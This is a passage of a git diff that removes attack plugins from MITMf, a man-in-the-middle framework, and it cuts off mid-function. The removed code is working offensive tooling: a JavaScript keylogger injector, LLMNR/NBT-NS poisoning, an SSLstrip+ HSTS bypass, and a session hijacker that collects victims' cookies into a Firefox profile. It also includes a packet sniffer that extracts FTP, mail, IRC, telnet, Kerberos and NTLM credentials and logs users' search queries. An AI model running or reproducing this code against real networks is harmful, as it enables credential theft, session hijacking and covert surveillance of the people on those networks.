ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU -# General Public License for more details. -# -# You should have received a copy of the GNU General Public License -# along with this program; if not, write to the Free Software -# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 -# USA -# - -from plugins.plugin import Plugin -from plugins.Inject import Inject -import logging - -mitmf_logger = logging.getLogger('mitmf') - -class jskeylogger(Inject, Plugin): - name = "Javascript Keylogger" - optname = "jskeylogger" - desc = "Injects a javascript keylogger into clients webpages" - implements = ["handleResponse", "handleHeader", "connectionMade", "sendPostData"] - depends = ["Inject"] - version = "0.2" - has_opts = False - - def initialize(self, options): - Inject.initialize(self, options) - self.html_payload = self.msf_keylogger() - - def sendPostData(self, request): - #Handle the plugin output - if 'keylog' in request.uri: - - raw_keys = request.postData.split("&&")[0] - keys = raw_keys.split(",") - del keys[0]; del(keys[len(keys)-1]) - - input_field = request.postData.split("&&")[1] - - nice = '' - for n in keys: - if n == '9': - nice += "" - elif n == '8': - nice = nice.replace(nice[-1:], "") - elif n == '13': - nice = '' - else: - try: - nice += n.decode('hex') - except: - mitmf_logger.warning("%s ERROR decoding char: %s" % (request.client.getClientIP(), n)) - - #try: - # input_field = input_field.decode('hex') - #except: - # mitmf_logger.warning("%s ERROR decoding input field name: %s" % (request.client.getClientIP(), input_field)) - - mitmf_logger.warning("%s [%s] Field: %s Keys: %s" % (request.client.getClientIP(), request.headers['host'], input_field, nice)) - - def msf_keylogger(self): - #Stolen from the Metasploit module http_javascript_keylogger - - payload = """""" - - return payload \ No newline at end of file diff --git a/plugins/Replace.py b/plugins/Replace.py deleted file mode 100644 index f623736..0000000 --- a/plugins/Replace.py +++ /dev/null @@ -1,105 +0,0 @@ -#!/usr/bin/env python2.7 - -# Copyright (c) 2014-2016 Marcello Salvati -# -# This program is free software; you can redistribute it and/or -# modify it under the terms of the GNU General Public License as -# published by the Free Software Foundation; either version 3 of the -# License, or (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, but -# WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU -# General Public License for more details. -# -# You should have received a copy of the GNU General Public License -# along with this program; if not, write to the Free Software -# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 -# USA -# - -""" -Plugin by @rubenthijssen -""" - -import sys -import logging -import time -import re -from plugins.plugin import Plugin -from plugins.CacheKill import CacheKill - -mitmf_logger = logging.getLogger('mitmf') - -class Replace(CacheKill, Plugin): - name = "Replace" - optname = "replace" - desc = "Replace arbitrary content in HTML content" - implements = ["handleResponse", "handleHeader", "connectionMade"] - depends = ["CacheKill"] - version = "0.1" - has_opts = True - - def initialize(self, options): - self.options = options - - self.search_str = options.search_str - self.replace_str = options.replace_str - self.regex_file = options.regex_file - - if (self.search_str is None or self.search_str == "") and self.regex_file is None: - sys.exit("[-] Please provide a search string or a regex file") - - self.regexes = [] - if self.regex_file is not None: - for line in self.regex_file: - self.regexes.append(line.strip().split("\t")) - - if self.options.keep_cache: - self.implements.remove("handleHeader") - self.implements.remove("connectionMade") - - self.ctable = {} - self.dtable = {} - self.mime = "text/html" - - def handleResponse(self, request, data): - ip, hn, mime = self._get_req_info(request) - - if self._should_replace(ip, hn, mime): - - if self.search_str is not None and self.search_str != "": - data = data.replace(self.search_str, self.replace_str) - mitmf_logger.info("%s [%s] Replaced '%s' with '%s'" % (request.client.getClientIP(), request.headers['host'], self.search_str, self.replace_str)) - - # Did the user provide us with a regex file? - for regex in self.regexes: - try: - data = re.sub(regex[0], regex[1], data) - - mitmf_logger.info("%s [%s] Occurances matching '%s' replaced with '%s'" % (request.client.getClientIP(), request.headers['host'], regex[0], regex[1])) - except Exception: - logging.error("%s [%s] Your provided regex (%s) or replace value (%s) is empty or invalid. Please debug your provided regex(es)" % (request.client.getClientIP(), request.headers['host'], regex[0], regex[1])) - - self.ctable[ip] = time.time() - self.dtable[ip+hn] = True - - return {'request': request, 'data': data} - - return - - def add_options(self, options): - options.add_argument("--search-str", type=str, default=None, help="String you would like to replace --replace-str with. Default: '' (empty string)") - options.add_argument("--replace-str", type=str, default="", help="String you would like to replace.") - options.add_argument("--regex-file", type=file, help="Load file with regexes. File format: [tab][new-line]") - options.add_argument("--keep-cache", action="store_true", help="Don't kill the server/client caching.") - - def _should_replace(self, ip, hn, mime): - return mime.find(self.mime) != -1 - - def _get_req_info(self, request): - ip = request.client.getClientIP() - hn = request.client.getRequestHostname() - mime = request.client.headers['Content-Type'] - - return (ip, hn, mime) diff --git a/plugins/Responder.py b/plugins/Responder.py deleted file mode 100644 index 235cbdf..0000000 --- a/plugins/Responder.py +++ /dev/null @@ -1,73 +0,0 @@ -#!/usr/bin/env python2.7 - -# Copyright (c) 2014-2016 Marcello Salvati -# -# This program is free software; you can redistribute it and/or -# modify it under the terms of the GNU General Public License as -# published by the Free Software Foundation; either version 3 of the -# License, or (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, but -# WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU -# General Public License for more details. -# -# You should have received a copy of the GNU General Public License -# along with this program; if not, write to the Free Software -# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 -# USA -# - -import sys -import os -import threading - -from plugins.plugin import Plugin -from libs.responder.Responder import ResponderMITMf -from core.sslstrip.DnsCache import DnsCache -from twisted.internet import reactor - -class Responder(Plugin): - name = "Responder" - optname = "responder" - desc = "Poison LLMNR, NBT-NS and MDNS requests" - tree_output = ["NBT-NS, LLMNR & MDNS Responder v2.1.2 by Laurent Gaffie online"] - version = "0.2" - has_opts = True - - def initialize(self, options): - '''Called if plugin is enabled, passed the options namespace''' - self.options = options - self.interface = options.interface - - try: - config = options.configfile['Responder'] - except Exception, e: - sys.exit('[-] Error parsing config for Responder: ' + str(e)) - - if options.Analyse: - self.tree_output.append("Responder is in analyze mode. No NBT-NS, LLMNR, MDNS requests will be poisoned") - - resp = ResponderMITMf() - resp.setCoreVars(options, config) - - result = resp.AnalyzeICMPRedirect() - if result: - for line in result: - self.tree_output.append(line) - - resp.printDebugInfo() - resp.start() - - def plugin_reactor(self, strippingFactory): - reactor.listenTCP(3141, strippingFactory) - - def add_options(self, options): - options.add_argument('--analyze', dest="Analyse", action="store_true", help="Allows you to see NBT-NS, BROWSER, LLMNR requests from which workstation to which workstation without poisoning") - options.add_argument('--basic', dest="Basic", default=False, action="store_true", help="Set this if you want to return a Basic HTTP authentication. If not set, an NTLM authentication will be returned") - options.add_argument('--wredir', dest="Wredirect", default=False, action="store_true", help="Set this to enable answers for netbios wredir suffix queries. Answering to wredir will likely break stuff on the network (like classics 'nbns spoofer' would). Default value is therefore set to False") - options.add_argument('--nbtns', dest="NBTNSDomain", default=False, action="store_true", help="Set this to enable answers for netbios domain suffix queries. Answering to domain suffixes will likely break stuff on the network (like a classic 'nbns spoofer' would). Default value is therefore set to False") - options.add_argument('--fingerprint', dest="Finger", default=False, action="store_true", help = "This option allows you to fingerprint a host that issued an NBT-NS or LLMNR query") - options.add_argument('--wpad', dest="WPAD_On_Off", default=False, action="store_true", help = "Set this to start the WPAD rogue proxy server. Default value is False") - options.add_argument('--forcewpadauth', dest="Force_WPAD_Auth", default=False, action="store_true", help = "Set this if you want to force NTLM/Basic authentication on wpad.dat file retrieval. This might cause a login prompt in some specific cases. Therefore, default value is False") - options.add_argument('--lm', dest="LM_On_Off", default=False, action="store_true", help="Set this if you want to force LM hashing downgrade for Windows XP/2003 and earlier. Default value is False") diff --git a/plugins/SSLstrip+.py b/plugins/SSLstrip+.py deleted file mode 100644 index 5544b78..0000000 --- a/plugins/SSLstrip+.py +++ /dev/null @@ -1,56 +0,0 @@ -#!/usr/bin/env python2.7 - -# Copyright (c) 2014-2016 Marcello Salvati -# -# This program is free software; you can redistribute it and/or -# modify it under the terms of the GNU General Public License as -# published by the Free Software Foundation; either version 3 of the -# License, or (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, but -# WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU -# General Public License for more details. -# -# You should have received a copy of the GNU General Public License -# along with this program; if not, write to the Free Software -# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 -# USA -# - -import sys -import logging - -from plugins.plugin import Plugin -from core.utils import IpTables -from core.sslstrip.URLMonitor import URLMonitor -from libs.dnschef.dnschef import DNSChef - -class HSTSbypass(Plugin): - name = 'SSLstrip+' - optname = 'hsts' - desc = 'Enables SSLstrip+ for partial HSTS bypass' - version = "0.4" - tree_output = ["SSLstrip+ by Leonardo Nve running"] - has_opts = False - - def initialize(self, options): - self.options = options - self.manualiptables = options.manualiptables - - try: - hstsconfig = options.configfile['SSLstrip+'] - except Exception, e: - sys.exit("[-] Error parsing config for SSLstrip+: " + str(e)) - - if not options.manualiptables: - if IpTables.getInstance().dns is False: - IpTables.getInstance().DNS(options.ip_address, options.configfile['MITMf']['DNS']['port']) - - URLMonitor.getInstance().setHstsBypass(hstsconfig) - DNSChef.getInstance().setHstsBypass(hstsconfig) - - def finish(self): - if not self.manualiptables: - if IpTables.getInstance().dns is True: - IpTables.getInstance().Flush() \ No newline at end of file diff --git a/plugins/SessionHijacker.py b/plugins/SessionHijacker.py deleted file mode 100644 index ff9a3ec..0000000 --- a/plugins/SessionHijacker.py +++ /dev/null @@ -1,187 +0,0 @@ -#!/usr/bin/env python2.7 - -# Copyright (c) 2014-2016 Marcello Salvati -# -# This program is free software; you can redistribute it and/or -# modify it under the terms of the GNU General Public License as -# published by the Free Software Foundation; either version 3 of the -# License, or (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, but -# WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU -# General Public License for more details. -# -# You should have received a copy of the GNU General Public License -# along with this program; if not, write to the Free Software -# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 -# USA -# - -#Almost all of the Firefox related code was stolen from Firelamb https://github.com/sensepost/mana/tree/master/firelamb - -from plugins.plugin import Plugin -from core.publicsuffix.publicsuffix import PublicSuffixList -from urlparse import urlparse -import threading -import os -import sys -import time -import logging -import sqlite3 -import json -import socket - -mitmf_logger = logging.getLogger('mitmf') - -class SessionHijacker(Plugin): - name = "Session Hijacker" - optname = "hijack" - desc = "Performs session hijacking attacks against clients" - implements = ["cleanHeaders"] #["handleHeader"] - version = "0.1" - has_opts = True - - def initialize(self, options): - '''Called if plugin is enabled, passed the options namespace''' - self.options = options - self.psl = PublicSuffixList() - self.firefox = options.firefox - self.mallory = options.mallory - self.save_dir = "./logs" - self.seen_hosts = {} - self.sql_conns = {} - self.sessions = [] - self.html_header="

Cookies sniffed for the following domains\n
\n
" - - #Recent versions of Firefox use "PRAGMA journal_mode=WAL" which requires - #SQLite version 3.7.0 or later. You won't be able to read the database files - #with SQLite version 3.6.23.1 or earlier. You'll get the "file is encrypted - #or is not a database" message. - - sqlv = sqlite3.sqlite_version.split('.') - if (sqlv[0] <3 or sqlv[1] < 7): - sys.exit("[-] sqlite3 version 3.7 or greater required") - - if not os.path.exists("./logs"): - os.makedirs("./logs") - - if self.mallory: - t = threading.Thread(name='mallory_server', target=self.mallory_server, args=()) - t.setDaemon(True) - t.start() - - def cleanHeaders(self, request): # Client => Server - headers = request.getAllHeaders().copy() - client_ip = request.getClientIP() - - if 'cookie' in headers: - - if self.firefox: - url = "http://" + headers['host'] + request.getPathFromUri() - for cookie in headers['cookie'].split(';'): - eq = cookie.find("=") - cname = str(cookie)[0:eq].strip() - cvalue = str(cookie)[eq+1:].strip() - self.firefoxdb(headers['host'], cname, cvalue, url, client_ip) - - mitmf_logger.info("%s << Inserted cookie into firefox db" % client_ip) - - if self.mallory: - if len(self.sessions) > 0: - temp = [] - for session in self.sessions: - temp.append(session[0]) - if headers['host'] not in temp: - self.sessions.append((headers['host'], headers['cookie'])) - mitmf_logger.info("%s Got client cookie: [%s] %s" % (client_ip, headers['host'], headers['cookie'])) - mitmf_logger.info("%s Sent cookie to browser extension" % client_ip) - else: - self.sessions.append((headers['host'], headers['cookie'])) - mitmf_logger.info("%s Got client cookie: [%s] %s" % (client_ip, headers['host'], headers['cookie'])) - mitmf_logger.info("%s Sent cookie to browser extension" % client_ip) - - #def handleHeader(self, request, key, value): # Server => Client - # if 'set-cookie' in request.client.headers: - # cookie = request.client.headers['set-cookie'] - # #host = request.client.headers['host'] #wtf???? - # message = "%s Got server cookie: %s" % (request.client.getClientIP(), cookie) - # if self.urlMonitor.isClientLogging() is True: - # self.urlMonitor.writeClientLog(request.client, request.client.headers, message) - # else: - # mitmf_logger.info(message) - - def mallory_server(self): - host = '' - port = 20666 - server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) - server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) - server.bind((host,port)) - server.listen(1) - while True: - client, addr = server.accept() - if addr[0] != "127.0.0.1": - client.send("Hacked By China!") - client.close() - continue - request = client.recv(8192) - request = request.split('\n') - path = request[0].split()[1] - client.send("HTTP/1.0 200 OK\r\n") - client.send("Content-Type: text/html\r\n\r\n") - if path == "/": - client.send(json.dumps(self.sessions)) - client.close() - - def firefoxdb(self, host, cookie_name, cookie_value, url, ip): - - session_dir=self.save_dir + "/" + ip - cookie_file=session_dir +'/cookies.sqlite' - cookie_file_exists = os.path.exists(cookie_file) - - if (ip not in (self.sql_conns and os.listdir("./logs"))): - - try: - if not os.path.exists(session_dir): - os.makedirs(session_dir) - - db = sqlite3.connect(cookie_file, isolation_level=None) - self.sql_conns[ip] = db.cursor() - - if not cookie_file_exists: - self.sql_conns[ip].execute("CREATE TABLE moz_cookies (id INTEGER PRIMARY KEY, baseDomain TEXT, name TEXT, value TEXT, host TEXT, path TEXT, expiry INTEGER, lastAccessed INTEGER, creationTime INTEGER, isSecure INTEGER, isHttpOnly INTEGER, CONSTRAINT moz_uniqueid UNIQUE (name, host, path))") - self.sql_conns[ip].execute("CREATE INDEX moz_basedomain ON moz_cookies (baseDomain)") - except Exception, e: - print str(e) - - scheme = urlparse(url).scheme - scheme = (urlparse(url).scheme) - basedomain = self.psl.get_public_suffix(host) - address = urlparse(url).hostname - short_url = scheme + "://"+ address - - log = open(session_dir + '/visited.html','a') - if (ip not in self.seen_hosts): - self.seen_hosts[ip] = {} - log.write(self.html_header) - - if (address not in self.seen_hosts[ip]): - self.seen_hosts[ip][address] = 1 - log.write("\n
\n%s" %(short_url, address)) - - log.close() - - if address == basedomain: - address = "." + address - - expire_date = 2000000000 #Year2033 - now = int(time.time()) - 600 - self.sql_conns[ip].execute('INSERT OR IGNORE INTO moz_cookies (baseDomain, name, value, host, path, expiry, lastAccessed, creationTime, isSecure, isHttpOnly) VALUES (?,?,?,?,?,?,?,?,?,?)', (basedomain,cookie_name,cookie_value,address,'/',expire_date,now,now,0,0)) - - def add_options(self, options): - options.add_argument('--firefox', dest='firefox', action='store_true', default=False, help='Create a firefox profile with captured cookies') - options.add_argument('--mallory', dest='mallory', action='store_true', default=False, help='Send cookies to the Mallory cookie injector browser extension') - - def finish(self): - if self.firefox: - print "\n[*] To load a session run: 'firefox -profile logs//visited.html'" \ No newline at end of file diff --git a/plugins/Sniffer.py b/plugins/Sniffer.py deleted file mode 100644 index ca0ba51..0000000 --- a/plugins/Sniffer.py +++ /dev/null @@ -1,815 +0,0 @@ -#!/usr/bin/env python2.7 - -# Copyright (c) 2014-2016 Marcello Salvati -# -# This program is free software; you can redistribute it and/or -# modify it under the terms of the GNU General Public License as -# published by the Free Software Foundation; either version 3 of the -# License, or (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, but -# WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU -# General Public License for more details. -# -# You should have received a copy of the GNU General Public License -# along with this program; if not, write to the Free Software -# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 -# USA -# - -#This is a MITMf port of net-creds https://github.com/DanMcInerney/net-creds - -from plugins.plugin import Plugin -import logging -logging.getLogger("scapy.runtime").setLevel(logging.ERROR) -from scapy.all import * -from sys import exit -from collections import OrderedDict -from StringIO import StringIO -import binascii -import struct -import pcap -import base64 -import threading -import re -import os - -mitmf_logger = logging.getLogger('mitmf') - -class Sniffer(Plugin): - name = "Sniffer" - optname = "sniffer" - desc = "Sniffs for various protocol login and auth attempts" - tree_output = ["Net-Creds online"] - implements = ["sendRequest"] - version = "0.1" - has_opts = False - - def initialize(self, options): - self.options = options - self.interface = options.interface - #self.parse = options.parse - - #these field names were stolen from the etter.fields file (Ettercap Project) - self.http_userfields = ['log','login', 'wpname', 'ahd_username', 'unickname', 'nickname', 'user', 'user_name', - 'alias', 'pseudo', 'email', 'username', '_username', 'userid', 'form_loginname', 'loginname', - 'login_id', 'loginid', 'session_key', 'sessionkey', 'pop_login', 'uid', 'id', 'user_id', 'screename', - 'uname', 'ulogin', 'acctname', 'account', 'member', 'mailaddress', 'membername', 'login_username', - 'login_email', 'loginusername', 'loginemail', 'uin', 'sign-in'] - - self.http_passfields = ['ahd_password', 'pass', 'password', '_password', 'passwd', 'session_password', 'sessionpassword', - 'login_password', 'loginpassword', 'form_pw', 'pw', 'userpassword', 'pwd', 'upassword', 'login_password' - 'passwort', 'passwrd', 'wppassword', 'upasswd'] - - if os.geteuid() != 0: - sys.exit("[-] Sniffer plugin requires root privileges") - - n = NetCreds() - #if not self.parse: - t = threading.Thread(name="sniffer", target=n.start, args=(self.interface,)) - t.setDaemon(True) - t.start() - - #else: - # pcap = rdpcap(self.parse) - # for pkt in pcap: - # n.pkt_parser(pkt) - - #def add_options(self, options): - # options.add_argument('--parse', dest='parse', type=str, default=None, help='Parse pcap') - - def sendRequest(self, request): - #Capture google searches - if ('google' in request.headers['host']): - if ('search' in request.uri): - self.captureQueries('q', request) - - #Capture bing searches - if ('bing' in request.headers['host']): - if ('Suggestions' in request.uri): - self.captureQueries('qry', request) - - #Capture yahoo searches - if ('search.yahoo' in request.headers['host']): - if ('nresults' in request.uri): - self.captureQueries('command', request) - - self.captureURLCreds(request) - - def captureQueries(self, search_param, request): - try: - for param in request.uri.split('&'): - if param.split('=')[0] == search_param: - query = str(param.split('=')[1]) - if query: - mitmf_logger.info(request.clientInfo + "is querying %s for: %s" % (request.headers['host'], query)) - except Exception, e: - error = str(e) - mitmf_logger.warning(request.clientInfo + "Error parsing search query %s" % error) - - def captureURLCreds(self, request): - ''' - checks for creds passed via GET requests or just in the url - It's surprising to see how many people still do this (please stahp) - ''' - - url = request.uri - - username = None - password = None - for user in self.http_userfields: - #search = re.findall("("+ user +")=([^&|;]*)", request.uri, re.IGNORECASE) - search = re.search('(%s=[^&]+)' % user, url, re.IGNORECASE) - if search: - username = search.group() - - for passw in self.http_passfields: - #search = re.findall("(" + passw + ")=([^&|;]*)", request.uri, re.IGNORECASE) - search = re.search('(%s=[^&]+)' % passw, url, re.IGNORECASE) - if search: - password = search.group() - - if (username and password): - mitmf_logger.warning(request.clientInfo + "Possible Credentials (Method: %s, Host: %s):\n%s" % (request.command, request.headers['host'], url)) - -class NetCreds: - - def __init__(self): - self.pkt_frag_loads = OrderedDict() - self.challenge_acks = OrderedDict() - self.mail_auths = OrderedDict() - self.telnet_stream = OrderedDict() - - # Regexs - self.authenticate_re = '(www-|proxy-)?authenticate' - self.authorization_re = '(www-|proxy-)?authorization' - self.ftp_user_re = r'USER (.+)\r\n' - self.ftp_pw_re = r'PASS (.+)\r\n' - self.irc_user_re = r'NICK (.+?)((\r)?\n|\s)' - self.irc_pw_re = r'NS IDENTIFY (.+)' - self.mail_auth_re = '(\d+ )?(auth|authenticate) (login|plain)' - self.mail_auth_re1 = '(\d+ )?login ' - self.NTLMSSP2_re = 'NTLMSSP\x00\x02\x00\x00\x00.+' - self.NTLMSSP3_re = 'NTLMSSP\x00\x03\x00\x00\x00.+' - - def start(self, interface): - try: - sniff(iface=interface, prn=self.pkt_parser, store=0) - except Exception: - pass - - def frag_remover(self, ack, load): - ''' - Keep the FILO OrderedDict of frag loads from getting too large - 3 points of limit: - Number of ip_ports < 50 - Number of acks per ip:port < 25 - Number of chars in load < 5000 - ''' - - # Keep the number of IP:port mappings below 50 - # last=False pops the oldest item rather than the latest - while len(self.pkt_frag_loads) > 50: - self.pkt_frag_loads.popitem(last=False) - - # Loop through a deep copy dict but modify the original dict - copy_pkt_frag_loads = copy.deepcopy(self.pkt_frag_loads) - for ip_port in copy_pkt_frag_loads: - if len(copy_pkt_frag_loads[ip_port]) > 0: - # Keep 25 ack:load's per ip:port - while len(copy_pkt_frag_loads[ip_port]) > 25: - self.pkt_frag_loads[ip_port].popitem(last=False) - - # Recopy the new dict to prevent KeyErrors for modifying dict in loop - copy_pkt_frag_loads = copy.deepcopy(self.pkt_frag_loads) - for ip_port in copy_pkt_frag_loads: - # Keep the load less than 75,000 chars - for ack in copy_pkt_frag_loads[ip_port]: - # If load > 5000 chars, just keep the last 200 chars - if len(copy_pkt_frag_loads[ip_port][ack]) > 5000: - self.pkt_frag_loads[ip_port][ack] = self.pkt_frag_loads[ip_port][ack][-200:] - - def frag_joiner(self, ack, src_ip_port, load): - ''' - Keep a store of previous fragments in an OrderedDict named pkt_frag_loads - ''' - for ip_port in self.pkt_frag_loads: - if src_ip_port == ip_port: - if ack in self.pkt_frag_loads[src_ip_port]: - # Make pkt_frag_loads[src_ip_port][ack] = full load - old_load = self.pkt_frag_loads[src_ip_port][ack] - concat_load = old_load + load - return OrderedDict([(ack, concat_load)]) - - return OrderedDict([(ack, load)]) - - def pkt_parser(self, pkt): - ''' - Start parsing packets here - ''' - - if pkt.haslayer(Raw): - load = pkt[Raw].load - - # Get rid of Ethernet pkts with just a raw load cuz these are usually network controls like flow control - if pkt.haslayer(Ether) and pkt.haslayer(Raw) and not pkt.haslayer(IP) and not pkt.haslayer(IPv6): - return - - # UDP - if pkt.haslayer(UDP) and pkt.haslayer(IP) and pkt.haslayer(Raw): - - src_ip_port = str(pkt[IP].src) + ':' + str(pkt[UDP].sport) - dst_ip_port = str(pkt[IP].dst) + ':' + str(pkt[UDP].dport) - - # SNMP community strings - if pkt.haslayer(SNMP): - self.parse_snmp(src_ip_port, dst_ip_port, pkt[SNMP]) - return - - # Kerberos over UDP - decoded = self.Decode_Ip_Packet(str(pkt)[14:]) - kerb_hash = self.ParseMSKerbv5UDP(decoded['data'][8:]) - if kerb_hash: - self.printer(src_ip_port, dst_ip_port, kerb_hash) - - # TCP - elif pkt.haslayer(TCP) and pkt.haslayer(Raw): - - ack = str(pkt[TCP].ack) - seq = str(pkt[TCP].seq) - src_ip_port = str(pkt[IP].src) + ':' + str(pkt[TCP].sport) - dst_ip_port = str(pkt[IP].dst) + ':' + str(pkt[TCP].dport) - self.frag_remover(ack, load) - self.pkt_frag_loads[src_ip_port] = self.frag_joiner(ack, src_ip_port, load) - full_load = self.pkt_frag_loads[src_ip_port][ack] - - # Limit the packets we regex to increase efficiency - # 750 is a bit arbitrary but some SMTP auth success pkts - # are 500+ characters - if 0 < len(full_load) < 750: - - # FTP - ftp_creds = self.parse_ftp(full_load, dst_ip_port) - if len(ftp_creds) > 0: - for msg in ftp_creds: - self.printer(src_ip_port, dst_ip_port, msg) - return - - # Mail - mail_creds_found = self.mail_logins(full_load, src_ip_port, dst_ip_port, ack, seq) - - # IRC - irc_creds = self.irc_logins(full_load) - if irc_creds != None: - self.printer(src_ip_port, dst_ip_port, irc_creds) - return - - # Telnet - self.telnet_logins(src_ip_port, dst_ip_port, load, ack, seq) - #if telnet_creds != None: - # printer(src_ip_port, dst_ip_port, telnet_creds) - # return - - # HTTP and other protocols that run on TCP + a raw load - self.other_parser(src_ip_port, dst_ip_port, full_load, ack, seq, pkt) - - def telnet_logins(self, src_ip_port, dst_ip_port, load, ack, seq): - ''' - Catch telnet logins and passwords - ''' - - msg = None - - if src_ip_port in self.telnet_stream: - # Do a utf decode in case the client sends telnet options before their username - # No one would care to see that - try: - self.telnet_stream[src_ip_port] += load.decode('utf8') - except UnicodeDecodeError: - pass - - # \r or \r\n terminate commands in telnet if my pcaps are to be believed - if '\r' in self.telnet_stream[src_ip_port] or '\r\n' in self.telnet_stream[src_ip_port]: - telnet_split = self.telnet_stream[src_ip_port].split(' ', 1) - cred_type = telnet_split[0] - value = telnet_split[1].replace('\r\n', '').replace('\r', '') - # Create msg, the return variable - msg = 'Telnet %s: %s' % (cred_type, value) - del self.telnet_stream[src_ip_port] - self.printer(src_ip_port, dst_ip_port, msg) - - # This part relies on the telnet packet ending in - # "login:", "password:", or "username:" and being <750 chars - # Haven't seen any false+ but this is pretty general - # might catch some eventually - # maybe use dissector.py telnet lib? - if len(self.telnet_stream) > 100: - self.telnet_stream.popitem(last=False) - mod_load = load.lower().strip() - if mod_load.endswith('username:') or mod_load.endswith('login:'): - self.telnet_stream[dst_ip_port] = 'username ' - elif mod_load.endswith('password:'): - self.telnet_stream[dst_ip_port] = 'password ' - - def ParseMSKerbv5TCP(self, Data): - ''' - Taken from Pcredz because I didn't want to spend the time doing this myself - I should probably figure this out on my own but hey, time isn't free, why reinvent the wheel? - Maybe replace this eventually with the kerberos python lib - Parses Kerberosv5 hashes from packets - ''' - try: - MsgType = Data[21:22] - EncType = Data[43:44] - MessageType = Data[32:33] - except IndexError: - return - - if MsgType == "\x0a" and EncType == "\x17" and MessageType =="\x02": - if Data[49:53] == "\xa2\x36\x04\x34" or Data[49:53] == "\xa2\x35\x04\x33": - HashLen = struct.unpack(' 1: - lines = full_load.count('\r\n') - if lines > 1: - full_load = full_load.split('\r\n')[-2] # -1 is '' - return full_load - - def parse_ftp(self, full_load, dst_ip_port): - ''' - Parse out FTP creds - ''' - print_strs = [] - - # Sometimes FTP packets double up on the authentication lines - # We just want the lastest one. Ex: "USER danmcinerney\r\nUSER danmcinerney\r\n" - full_load = self.double_line_checker(full_load, 'USER') - - # FTP and POP potentially use idential client > server auth pkts - ftp_user = re.match(self.ftp_user_re, full_load) - ftp_pass = re.match(self.ftp_pw_re, full_load) - - if ftp_user: - msg1 = 'FTP User: %s' % ftp_user.group(1).strip() - print_strs.append(msg1) - if dst_ip_port[-3:] != ':21': - msg2 = 'Nonstandard FTP port, confirm the service that is running on it' - print_strs.append(msg2) - - elif ftp_pass: - msg1 = 'FTP Pass: %s' % ftp_pass.group(1).strip() - print_strs.append(msg1) - if dst_ip_port[-3:] != ':21': - msg2 = 'Nonstandard FTP port, confirm the service that is running on it' - print_strs.append(msg2) - - return print_strs - - def mail_decode(self, src_ip_port, dst_ip_port, mail_creds): - ''' - Decode base64 mail creds - ''' - try: - decoded = base64.b64decode(mail_creds).replace('\x00', ' ').decode('utf8') - decoded = decoded.replace('\x00', ' ') - except TypeError: - decoded = None - except UnicodeDecodeError as e: - decoded = None - - if decoded != None: - msg = 'Decoded: %s' % decoded - self.printer(src_ip_port, dst_ip_port, msg) - - def mail_logins(self, full_load, src_ip_port, dst_ip_port, ack, seq): - ''' - Catch IMAP, POP, and SMTP logins - ''' - # Handle the first packet of mail authentication - # if the creds aren't in the first packet, save it in mail_auths - - # mail_auths = 192.168.0.2 : [1st ack, 2nd ack...] - - found = False - - # Sometimes mail packets double up on the authentication lines - # We just want the lastest one. Ex: "1 auth plain\r\n2 auth plain\r\n" - full_load = self.double_line_checker(full_load, 'auth') - - # Client to server 2nd+ pkt - if src_ip_port in self.mail_auths: - if seq in self.mail_auths[src_ip_port][-1]: - stripped = full_load.strip('\r\n') - try: - decoded = base64.b64decode(stripped) - msg = 'Mail authentication: %s' % decoded - self.printer(src_ip_port, dst_ip_port, msg) - except TypeError: - pass - self.mail_auths[src_ip_port].append(ack) - - # Server responses to client - # seq always = last ack of tcp stream - elif dst_ip_port in self.mail_auths: - if seq in self.mail_auths[dst_ip_port][-1]: - # Look for any kind of auth failure or success - a_s = 'Authentication successful' - a_f = 'Authentication failed' - # SMTP auth was successful - if full_load.startswith('235') and 'auth' in full_load.lower(): - # Reversed the dst and src - self.printer(dst_ip_port, src_ip_port, a_s) - found = True - try: - del self.mail_auths[dst_ip_port] - except KeyError: - pass - # SMTP failed - elif full_load.startswith('535 '): - # Reversed the dst and src - self.printer(dst_ip_port, src_ip_port, a_f) - found = True - try: - del self.mail_auths[dst_ip_port] - except KeyError: - pass - # IMAP/POP/SMTP failed - elif ' fail' in full_load.lower(): - # Reversed the dst and src - self.printer(dst_ip_port, src_ip_port, a_f) - found = True - try: - del self.mail_auths[dst_ip_port] - except KeyError: - pass - # IMAP auth success - elif ' OK [' in full_load: - # Reversed the dst and src - self.printer(dst_ip_port, src_ip_port, a_s) - found = True - try: - del self.mail_auths[dst_ip_port] - except KeyError: - pass - - # Pkt was not an auth pass/fail so its just a normal server ack - # that it got the client's first auth pkt - else: - if len(self.mail_auths) > 100: - self.mail_auths.popitem(last=False) - self.mail_auths[dst_ip_port].append(ack) - - # Client to server but it's a new TCP seq - # This handles most POP/IMAP/SMTP logins but there's at least one edge case - else: - mail_auth_search = re.match(self.mail_auth_re, full_load, re.IGNORECASE) - if mail_auth_search != None: - auth_msg = full_load - # IMAP uses the number at the beginning - if mail_auth_search.group(1) != None: - auth_msg = auth_msg.split()[1:] - else: - auth_msg = auth_msg.split() - # Check if its a pkt like AUTH PLAIN dvcmQxIQ== - # rather than just an AUTH PLAIN - if len(auth_msg) > 2: - mail_creds = ' '.join(auth_msg[2:]) - msg = 'Mail authentication: %s' % mail_creds - self.printer(src_ip_port, 